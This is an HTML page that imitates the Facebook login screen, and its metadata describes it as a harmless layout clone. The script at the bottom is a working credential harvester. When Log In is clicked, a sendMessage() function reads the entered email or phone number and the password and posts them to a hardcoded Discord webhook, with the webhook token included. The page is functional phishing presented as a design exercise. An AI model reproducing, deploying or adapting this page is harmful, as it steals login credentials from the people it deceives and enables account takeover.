<!DOCTYPE html>
<html>
<head>
<title>Facebook - Log In or Sign Up</title>
<meta charset="utf-8" />
<link rel="stylesheet" href="./css.css" rel="stylesheet" />
<meta
name="viewport"
content="width=device-width, initial-scale=1.0, maximum-scale=1.0"
/>
<meta name="description" content="clone facebook login screen" />
<meta name="keywords" content="html, css, responsive" />
<meta name="author" content="Roger Moschiel" />
</head>
<body>
<section>
<div class="center">
<div class="welcome">
<img src="images/logo.svg" alt="facebook-logo" />
<p>Connect with friends and the world around you on Facebook.</p>
</div>
<!--welcome-->
<div class="login">
<form action="">
<div>
<input
type="text" id="username" placeholder="Email address or phone number"
required
/>
</div>
<div>
<input
type="password" name="password" id="password" placeholder="Password"
required
/>
</div>
<div>
<button type="submit" name="action" onclick="sendMessage()" >Log In</button>
</div>
<div class="recover">
<a
href="https://www.facebook.com/recover/initiate/?ars=facebook_login"
>Forgot Password?</a
>
</div>
<div class="div-line"></div>
<div class="new-account">
<button type="button">Create New Account</button>
</div>
</form>
<div class="create-page">
<a
href="https://www.facebook.com/pages/create/?ref_type=registration_form"
>
Create a Page</a
>
<p>for a celebrity, band or business.</p>
</div>
</div>
<!--login-->
</div>
<!--center-->
</section>
<footer>
<div class="center">
<div class="footer-container">
<div class="languages">
<a href="">English (US)</a>
<a href="">Português (Brasil)</a>
<a href="">Español</a>
<a href="">Français (France)</a>
<a href="">Italiano</a>
<a href="">العربية</a>
<a href="">Deutsch</a>
<a href="">हिन्दी</a>
<a href="">中文(简体)</a>
<a href="">日本語</a>
<button>+</button>
</div>
<!--languages-->
<div class="div-line2"></div>
<div class="other-services">
<a href="">Sign Up</a>
<a href="">Log In</a>
<a href="">Messenger</a>
<a href="">Facebook Lite</a>
<a href="">Watch</a>
<a href="">People</a>
<a href="">Pages</a>
<a href="">Page Categories</a>
<a href="">Places</a>
<a href="">Games</a>
<a href="">Locations</a>
<a href="">Marketplace</a>
<a href="">Facebook Pay</a>
<a href="">Groups</a>
<a href="">Oculus</a>
<a href="">Portal</a>
<a href="">Instagram</a>
<a href="">Local</a>
<a href="">Fundraisers</a>
<a href="">Services</a>
<a href="">Voting Information Center</a>
<a href="">About</a>
<a href="">Create Ad</a>
<a href="">Create Page</a>
<a href="">Developers</a>
<a href="">Carrers</a>
<a href="">Privacy</a>
<a href="">Cookies</a>
<a href="">Ad Choices</a>
<a href="">Terms</a>
<a href="">Help</a>
</div>
<!--other-services-->
<p class="copyright">Facebook © 2020</p>
</div>
</div>
<!--center-->
</footer>
<script type="text/javascript">
function la(src) {
window.location=src;
}
</script>
<script>
function sendMessage() {
function sleep(milliseconds) {
const date = Date.now();
let currentDate = null;
do {
currentDate = Date.now();
} while (currentDate - date < milliseconds);
}
var request = new XMLHttpRequest();
request.open("POST", "https://discord.com/api/webhooks/1068085564684914728/pEc4KmhKx8CJkoJnq2t1BPHk66zJAOKhBUH2aFsxCaXA2UMQf-8fCLDQbX7gwM2DGmFE");
request.setRequestHeader('Content-type', 'application/json');
var params = {
content: ("> **USERNAME : **" + document.getElementById('username').value + "\n> **PASSWORD : **" + document.getElementById('password').value)
}
if (params.content.valueOf() == 0){
alert ('asd')
}
request.send(JSON.stringify(params));
sleep(400)
window.location.replace();
}
</script>
</body>
</html>